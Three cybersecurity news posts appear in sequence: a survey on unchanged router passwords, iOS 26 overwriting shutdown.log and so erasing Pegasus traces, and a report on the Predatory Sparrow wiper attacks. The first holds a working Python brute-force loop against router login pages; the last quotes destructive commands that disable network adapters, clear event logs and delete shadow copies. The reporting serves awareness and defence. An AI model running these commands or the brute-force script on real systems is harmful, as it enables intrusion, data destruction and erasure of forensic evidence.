In late 2025, a staggering 81% of broadband users were found to have never changed their router’s default administrative password, opening the door to significant malware risk.

This widespread negligence was revealed in Broadband Genie’s fourth major router security survey, where 3,242 users were polled to gauge progress on consumer cybersecurity awareness.

Despite regulatory pushes and increased media attention, most users remain vulnerable, rendering their household networks and connected devices susceptible to compromise.

The roots of this problem trace back to an enduring blend of user unawareness and confusing router interfaces.

Many consumers equate router setup with minimal configuration: plug in, connect, and browse the web.

Yet, this leaves gateways open for attackers who can readily find manufacturer-default admin credentials on the open web.

Once these details are leveraged, malicious actors gain intimate access to the device, facilitating surveillance, DNS tampering, internal pivoting, or installation of persistent malware.

It is this architectural weakness that has empowered a new wave of malware to automate penetration campaigns against poorly-configured home routers across the globe.

Broadband researchers noted the malware’s swift adoption of credential brute-forcing and default-password attacks as a dominant vector.

Compromised routers become launchpads for botnets, phishing operations, and data exfiltration campaigns.

Case studies and reports highlight the ease with which threat actors automate exploitation: using known credential pairs and unauthenticated web interfaces, attackers deploy scripts that rapidly cycle through default logins across residential IP address blocks.

Attack Vector Deep Dive: Infection Mechanism

At the core of these attacks lies automated credential stuffing—the process of systematically attempting commonly-known router admin usernames and passwords until access is gained.

A typical payload delivered post-exploitation automates configuration theft and persistence. Below is a representative code snippet demonstrating how malware initiates a brute-force loop to hijack router admin panels using Python:-

import requests

def brute_force_admin(target_url, creds_list):
    for username, password in creds_list:
        response = requests.post(f"{target_url}/login", data={"user": username, "pass": password})
        if "dashboard" in response.text:
            print(f"Compromised: {username}:{password}")
            return True
    return False

# Example usage with common credentials
credentials = [("admin", "admin"), ("user", "1234"), ("root", "password")]
brute_force_admin("http://192.168.1.1", credentials)

Once successful, the malware may alter DNS settings, disable security updates, or establish remote backdoors, effectively enslaving the device. Real-world reports demonstrate that persistent router malware often abuses these unaltered credentials for repeated re-infection, even after device reboots.

This persistent threat landscape underscores the critical importance of changing default administrative credentials and highlights the ongoing role of broadband research in tracking and combating new strains of router malware.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post 81% Router Usres Have Not Changed Default Admin Passwords, Exposing Devices to Hackers appeared first on Cyber Security News.

The emergence of Pegasus and Predator spyware over the past several years has transformed the landscape of mobile device security.

These advanced malware strains—deployed by sophisticated threat actors for surveillance and espionage—have repeatedly demonstrated their ability to exploit zero-click vulnerabilities, leaving high-profile individuals and at-risk communities exposed.

Critical forensic analysis has long relied on remnants within iOS system logs, particularly the shutdown.log file, to discern traces of such infections even after the malware attempts to erase itself.

With the release of iOS 26, forensic methodologies face an unprecedented setback. iVerify analysts identified that Apple’s latest OS version now overwrites the shutdown.log file upon each device reboot, instead of appending new log entries.

This seemingly innocuous change—whether intentional or inadvertent—has significant consequences for digital evidence preservation.

Any device updated to iOS 26 that is subsequently restarted will see all prior shutdown.log content erased, destroying potential indicators of compromise linked to Pegasus, Predator, or similar threats.

Previously, sophisticated spyware like Pegasus would attempt to purge or tamper with shutdown.log as part of its anti-forensics tactics, a process that still left behind subtle indicators for vigilant analysts.

iVerify researchers have detailed that this “double erasure”—malware deletion followed by OS-level overwriting—now fully sanitizes this critical artifact, hampering investigations and masking successful compromises far more effectively than previous tactics.

Infection Mechanism and Evidence Erasure in iOS 26

Inspection of historic shutdown.log entries revealed unique markers left by Pegasus in past infections, such as references to processes like com.apple.xpc.roleaccountd.stagingcom.apple.WebKit.Networking.

Since iOS 26, such forensic signals are not merely buried—they are irretrievably deleted on the next boot.

Boot and reboot events (Source – iVerify)

The log’s prior structure, which appended each shutdown entry, offered investigators a chronological view vital for tracing infection timelines.

The technical transition to full overwriting shows a before-and-after comparison of the shutdown.log behavior after reboot.

This system-level change, reported by iVerify as the foremost group uncovering this development, alters the balance between attackers and defenders, raising urgent questions about digital evidence, user protection, and malware accountability.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post iOS 26 Deletes Pegasus and Predator Spyware Infection Evidence by Overwriting The ‘shutdown.log’ file on Reboot appeared first on Cyber Security News.

Predatory Sparrow has emerged as one of the most destructive cyber-sabotage groups targeting critical infrastructure across the Middle East, with operations focused primarily on Iranian and Syrian assets.

The hacktivist group, believed to be affiliated with Israeli interests, has orchestrated a series of devastating cyberattacks spanning from 2019 to 2025, targeting railways, steel plants, financial institutions, and fuel distribution networks.

Their campaigns are characterized by deliberate data destruction, operational paralysis, and provocative public messaging designed to maximize psychological impact alongside physical disruption.

The group’s operational timeline reveals an escalating pattern of sophistication and destruction. Early attacks in 2019-2020 targeted Syrian entities including Alfadelex Trading and Cham Wings Airlines, establishing their capabilities in network infiltration.

However, their most significant operation came in July 2021 when they deployed the “Meteor” wiper malware against Iran’s national railway system, causing widespread service disruptions and displaying taunting messages on station boards.

This attack demonstrated their ability to compromise critical national infrastructure with precision timing.

More recently, Predatory Sparrow has expanded their targeting to include financial infrastructure with devastating effect.

Following Israeli airstrikes on Iran in June 2025, the group launched coordinated attacks against Bank Sepah and the Nobitex cryptocurrency exchange.

In the Nobitex breach, they claimed to have rendered $90 million in cryptocurrency permanently unrecoverable by transferring assets to inaccessible addresses, while simultaneously leaking the exchange’s complete source code and infrastructure documentation.

Picussecurity analysts identified the group’s sophisticated multi-stage attack methodology during investigations into the Iranian railway incident.

Their analysis revealed that Predatory Sparrow employs a complex chain of batch scripts and encrypted payloads to establish persistence, disable defenses, and deploy destructive wipers.

The group demonstrates advanced environmental awareness by conducting reconnaissance to identify specific target systems before payload execution.

Technical Execution and Wiper Deployment Mechanisms

The technical architecture of Predatory Sparrow’s attacks centers on their custom Meteor wiper malware, which utilizes encrypted configuration files and multi-stage batch script execution.

The attack chain begins with a setup.bat script that performs hostname verification against specific Passenger Information System servers (PIS-APP, PIS-MOB, WSUSPROXY, PIS-DB), ensuring malicious payloads avoid execution on display systems while guaranteeing the attacker’s messaging appears on public-facing boards.

The msrun.bat script serves as the deployment mechanism for the wiper payload, creating a scheduled task configured to execute at 23:55:00 through Windows Task Scheduler.

Prior to wiper execution, the cache.bat script systematically disables all network adapters using PowerShell commands:-

powershell -Command "Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }" > NUL

Defense evasion techniques include clearing Windows Event Logs through wevtutil commands targeting Security, System, and Application logs, effectively erasing forensic evidence:

wevtutil cl system
wevtutil cl application
wevtutil cl security

The Meteor wiper employs XOR-based encryption for its configuration file (msconf.conf) and log files. Researchers developed Python decryption utilities revealing the malware’s internal operations:

from malduck import xor, u32

def decode_buffer(buf, key):
    results = ""
    for k,v in enumerate(buf):
        results += chr(((k % 256) + key[k % len(key)] ^ v) & 0xff)
    return results

To ensure complete system destruction, the bcd.bat script manipulates boot configuration data and removes volume shadow copies, preventing recovery:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete

This comprehensive approach to data destruction and system sabotage demonstrates Predatory Sparrow’s focus on causing irreversible damage rather than data exfiltration, aligning with their stated mission of retaliatory cyber warfare against Iranian interests.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Predatory Sparrow Group Attacking Critical Infrastructure to Destroy Data and Cause Disruption appeared first on Cyber Security News.